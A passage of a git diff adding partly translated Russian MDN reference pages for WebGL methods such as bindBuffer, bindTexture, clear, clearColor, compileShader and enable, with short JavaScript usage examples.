+  <li><code>gl.ARRAY_BUFFER</code>: Буфер содержащий вершинные атрибуты, такие как координаты, текстурные коориднаты(UV) или цвет вершины.</li>
+  <li><code>gl.ELEMENT_ARRAY_BUFFER</code>: Буфер использующий для индексирования элементов.</li>
+  <li>When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:
+   <ul>
+    <li><code>gl.COPY_READ_BUFFER</code>: Buffer for copying from one buffer object to another.</li>
+    <li><code>gl.COPY_WRITE_BUFFER</code>: Buffer for copying from one buffer object to another.</li>
+    <li><code>gl.TRANSFORM_FEEDBACK_BUFFER</code>: Buffer for transform feedback operations.</li>
+    <li><code>gl.UNIFORM_BUFFER</code>: Buffer used for storing uniform blocks.</li>
+    <li><code>gl.PIXEL_PACK_BUFFER</code>: Buffer used for pixel transfer operations.</li>
+    <li><code>gl.PIXEL_UNPACK_BUFFER</code>: Buffer used for pixel transfer operations.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>buffer</dt>
+ <dd>{{domxref("WebGLBuffer")}} с которым осуществляется связывание.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Нет.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Only one target can be bound to a given {{domxref("WebGLBuffer")}}. An attempt to bind the buffer to another target will throw an <code>INVALID_OPERATION</code> error and the current buffer binding will remain the same.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Binding_a_buffer_to_a_target">Binding a buffer to a target</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+</pre>
+
+<h3 id="Getting_current_bindings">Getting current bindings</h3>
+
+<p>To check the current buffer bindings, query the <code>ARRAY_BUFFER_BINDING</code> and <code>ELEMENT_ARRAY_BUFFER_BINDING</code> constants.</p>
+
+<pre class="brush: js">gl.getParameter(gl.ARRAY_BUFFER_BINDING);
+gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindBuffer.xml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 2 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>
+    <p>Updated definition for WebGL 2.</p>
+
+    <p>Adds new <code>target</code> buffers:<br>
+     <code>gl.COPY_READ_BUFFER</code>,<br>
+     <code>gl.COPY_WRITE_BUFFER</code>,<br>
+     <code>gl.TRANSFORM_FEEDBACK_BUFFER</code>,<br>
+     <code>gl.UNIFORM_BUFFER</code>,<br>
+     <code>gl.PIXEL_PACK_BUFFER</code>,<br>
+     <code>gl.PIXEL_UNPACK_BUFFER</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindBuffer.xhtml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 3 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindBuffer")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Other buffers: {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
new file mode 100644
index 0000000000..522a73c1c9
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html
@@ -0,0 +1,110 @@
+---
+title: WebGLRenderingContext.bindTexture()
+slug: Web/API/WebGLRenderingContext/bindTexture
+translation_of: Web/API/WebGLRenderingContext/bindTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.bindTexture()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> связывает {{domxref("WebGLTexture")}} с <code>target</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindTexture(<var>target</var>, <var>texture</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>target</dt>
+ <dd>{{domxref("GLenum")}} указывает тип объекта <code>texture</code> для связывания. Возможные значения:
+ <ul>
+  <li><code>gl.TEXTURE_2D</code>: двухмерная текстура.</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code>: кубическая текстура.</li>
+  <li>При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны:
+   <ul>
+    <li><code>gl.TEXTURE_3D</code>: трехмерная текстура.</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code>: массив двумерных текстур.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>texture</dt>
+ <dd>{{domxref("WebGLTexture")}} объект связывания</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p><code>gl.INVALID_ENUM</code> исключение если <code>target</code> не<code>gl.TEXTURE_2D</code>, <code>gl.TEXTURE_CUBE_MAP</code>, <code>gl.TEXTURE_3D</code>, или <code>gl.TEXTURE_2D_ARRAY</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Привязчка_текстуры">Привязчка текстуры</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+gl.bindTexture(gl.TEXTURE_2D, texture);
+</pre>
+
+<h3 id="Получить_текущую_привязку">Получить текущую привязку</h3>
+
+<p>Для проверки текущей привязки текстуры, вызовите<code>gl.TEXTURE_BINDING_2D</code> или <code>gl.TEXTURE_BINDING_CUBE_MAP</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.TEXTURE_BINDING_2D);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 2.0 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Updated definition for WebGL 2.<br>
+    Adds: <code>gl.TEXTURE_3D</code> and <code>gl.TEXTURE_2D_ARRAY</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the (similar) OpenGL ES 3.0 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/canvas/index.html b/files/ru/web/api/webglrenderingcontext/canvas/index.html
new file mode 100644
index 0000000000..7b76f9885b
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/canvas/index.html
@@ -0,0 +1,70 @@
+---
+title: WebGLRenderingContext.canvas
+slug: Web/API/WebGLRenderingContext/canvas
+translation_of: Web/API/WebGLRenderingContext/canvas
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><code><font face="Thread-00001520-Id-000000d3">Свойство </font><strong>WebGLRenderingContext.canvas</strong></code> доступно только для чтения. Возвращает ссылку на объекты {{domxref("HTMLCanvasElement")}} или {{domxref("OffscreenCanvas")}} связанные с установленным контекстом отрисовки. Если объект {{HTMLElement("canvas")}} или  {{domxref("OffscreenCanvas")}} не связан с контекстом, то возвращается значение {{jsxref("null")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var><em>gl</em></var>.canvas;</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Either a {{domxref("HTMLCanvasElement")}} or {{domxref("OffscreenCanvas")}} object or {{jsxref("null")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Canvas_element">Canvas element</h3>
+
+<p>Given this {{HTMLElement("canvas")}} element:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>You can get back a reference to it from the <code>WebGLRenderingContext</code> using the <code>canvas</code> property:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.canvas; // HTMLCanvasElement
+</pre>
+
+<h3 id="Offscreen_canvas">Offscreen canvas</h3>
+
+<p>Example using the experimental {{domxref("OffscreenCanvas")}} object.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+gl.canvas; // OffscreenCanvas</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.canvas")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.canvas")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/clear/index.html b/files/ru/web/api/webglrenderingcontext/clear/index.html
new file mode 100644
index 0000000000..3c4d1db864
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/clear/index.html
@@ -0,0 +1,89 @@
+---
+title: WebGLRenderingContext.clear()
+slug: Web/API/WebGLRenderingContext/clear
+translation_of: Web/API/WebGLRenderingContext/clear
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.clear()</code> </strong>из библиотеки <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> очищает буфер заданными значениями.</p>
+
+<p>Заданные значения могут быть установлены {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} или {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}.</p>
+
+<p>The scissor box, dithering, and buffer writemasks can affect the <code>clear()</code> method.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.clear(<var>mask</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>mask</code></dt>
+ <dd>Побитовая маска ИЛИ {{domxref("GLbitfield")}} указывает какие конкретно буферы нужно очистить. Возможные значения:
+ <ul>
+  <li><code>gl.COLOR_BUFFER_BIT</code></li>
+  <li><code>gl.DEPTH_BUFFER_BIT</code></li>
+  <li><code>gl.STENCIL_BUFFER_BIT</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ничего.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если <em>mask</em> не является ни одним из перечисленных значений, то генерируется ошибка <code>gl.INVALID_ENUM</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Метод <code>clear()</code> принимает несколько значений.</p>
+
+<pre class="brush: js">gl.clear(gl.DEPTH_BUFFER_BIT);
+gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT);
+</pre>
+
+<p>Чтобы получить текущее значение очистки буфера, нужно воспользоваться следующими константами: <code>COLOR_CLEAR_VALUE</code>, <code>DEPTH_CLEAR_VALUE</code>, и <code>STENCIL_CLEAR_VALUE</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.COLOR_CLEAR_VALUE);
+gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+gl.getParameter(gl.STENCIL_CLEAR_VALUE);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.11", "clear")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glClear.xml", "glClear")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Справочная страница OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.clear")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.clearColor()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearDepth()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearStencil()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/clearcolor/index.html b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html
new file mode 100644
index 0000000000..97e648eb7f
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html
@@ -0,0 +1,79 @@
+---
+title: WebGLRenderingContext.clearColor()
+slug: Web/API/WebGLRenderingContext/clearColor
+translation_of: Web/API/WebGLRenderingContext/clearColor
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.clearColor()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> определяет значения, используемые для задания цвета во время очистки буферов цвета.</p>
+
+<p>This specifies what color values to use when calling the {{domxref("WebGLRenderingContext.clear", "clear()")}} method. Эти значения находятся в пределах от 0 до 1.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.clearColor(<var>red, green, blue, alpha</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>red</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the red color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>green</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the green color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>blue</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the blue color value used when the color buffers are cleared. Default value: 0.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>A {{domxref("GLclampf")}} specifying the alpha (transparency) value used when the color buffers are cleared. Default value: 0.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">gl.clearColor(1, 0.5, 0.5, 3);
+</pre>
+
+<p>To get the current clear color, query the <code>COLOR_CLEAR_VALUE</code> constant which returns a {{jsxref("Float32Array")}}.</p>
+
+<pre class="brush: js">gl.getParameter(gl.COLOR_CLEAR_VALUE);
+// Float32Array[1, 0.5, 0.5, 1]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "clearColor")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glClearColor.xml", "glClearColor")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.clearColor")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.clear()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearDepth()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearStencil()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
new file mode 100644
index 0000000000..9ecb9bd735
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html
@@ -0,0 +1,81 @@
+---
+title: WebGLRenderingContext.compileShader()
+slug: Web/API/WebGLRenderingContext/compileShader
+translation_of: Web/API/WebGLRenderingContext/compileShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderingContext.compileShader() </strong>метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> компилирующий исходный код GLSL шейдера в бинарные данные для использования программой  {{domxref("WebGLProgram")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>gl</em>.compileShader</var><var>(shader);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>shader</code></dt>
+ <dd>Вершинный или фрагментный шейдер {{domxref("WebGLShader")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, shaderSource);
+gl.compileShader(shader);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "compileShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glCompileShader.xml", "glCompileShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>OpenGL man page.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html
new file mode 100644
index 0000000000..d7cc40db94
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/enable/index.html
@@ -0,0 +1,139 @@
+---
+title: WebGLRenderingContext.enable()
+slug: Web/API/WebGLRenderingContext/enable
+translation_of: Web/API/WebGLRenderingContext/enable
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определенные возможности WebGL для текущего контекста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.enable(<var>cap</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>cap</code></dt>
+ <dd>A {{domxref("GLenum")}} specifying which WebGL capability to enable. Possible values:</dd>
+ <dd>
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Константа</th>
+    <th scope="col">Описание</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.BLEND</code></td>
+    <td>Активирует с<span class="short_text" id="result_box" lang="ru"><span>мешение значений цветов вычисленного фрагмента</span></span>. Смотри {{domxref("WebGLRenderingContext.blendFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.CULL_FACE</code></td>
+    <td>Активирует отбраковку полигонов. Смотри {{domxref("WebGLRenderingContext.cullFace()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DEPTH_TEST</code></td>
+    <td>Активирует сравнения глубин и обновления для буфера глубины. Смотри {{domxref("WebGLRenderingContext.depthFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DITHER</code></td>
+    <td>Activates dithering of color components before they get written to the color buffer.</td>
+   </tr>
+   <tr>
+    <td><code>gl.POLYGON_OFFSET_FILL</code></td>
+    <td>Activates adding an offset to depth values of polygon's fragments. See {{domxref("WebGLRenderingContext.polygonOffset()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_ALPHA_TO_COVERAGE</code></td>
+    <td>Activates the computation of a temporary coverage value determined by the alpha value.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_COVERAGE</code></td>
+    <td>Activates ANDing the fragment's coverage with the temporary coverage value. See {{domxref("WebGLRenderingContext.sampleCoverage()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SCISSOR_TEST</code></td>
+    <td>Activates the scissor test that discards fragments that are outside of the scissor rectangle. See {{domxref("WebGLRenderingContext.scissor()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.STENCIL_TEST</code></td>
+    <td>Activates stencil testing and updates to the stencil buffer. See {{domxref("WebGLRenderingContext.stencilFunc()")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Constant</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.RASTERIZER_DISCARD</code></td>
+    <td>Primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. <code>gl.clear()</code> commands are ignored.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">gl.enable(gl.DITHER);
+</pre>
+
+<p>To check if a capability is enabled, use the {{domxref("WebGLRenderingContext.isEnabled()")}} method:</p>
+
+<pre class="brush: js">gl.isEnabled(gl.DITHER);
+// true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "enable")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition for WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL ES 2.0 API.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Man page of the OpenGL ES 3.0 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.enable")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.disable()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isEnabled()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
new file mode 100644
index 0000000000..f05a98534f
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html
@@ -0,0 +1,77 @@
+---
+title: WebGLRenderingContext.getShaderInfoLog()
+slug: Web/API/WebGLRenderingContext/getShaderInfoLog
+translation_of: Web/API/WebGLRenderingContext/getShaderInfoLog
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderingContext.getShaderInfoLog</strong> возвращает логи для указаной шейдерной программы {{domxref("WebGLShader")}}. Оно содержит предупреждения, информацию для отладки и информацию о компиляции.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">gl.getShaderInfoLog(shader);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>Шейдер {{domxref("WebGLShader")}} чьи логи мы запрашиваем.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("DOMString")}} может содержать диагностические сообщения, предупреждения и другую информацию о последней операции компиляции. Когда {{domxref("WebGLShader")}} объект создан, его информационный журнал будет строкой длинной 0.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Проверить_сообщения_компиляции">Проверить сообщения компиляции</h3>
+
+<pre class="brush: js">/* Загружаем исходный код программы. */
+gl.shaderSource(shader, shaderCode);
+
+/* Компилируем программу. */
+gl.compileShader(shader);
+
+/* Получаем список сообщений */
+var message = gl.getShaderInfoLog(shader);
+
+if (message.length &gt; 0) {
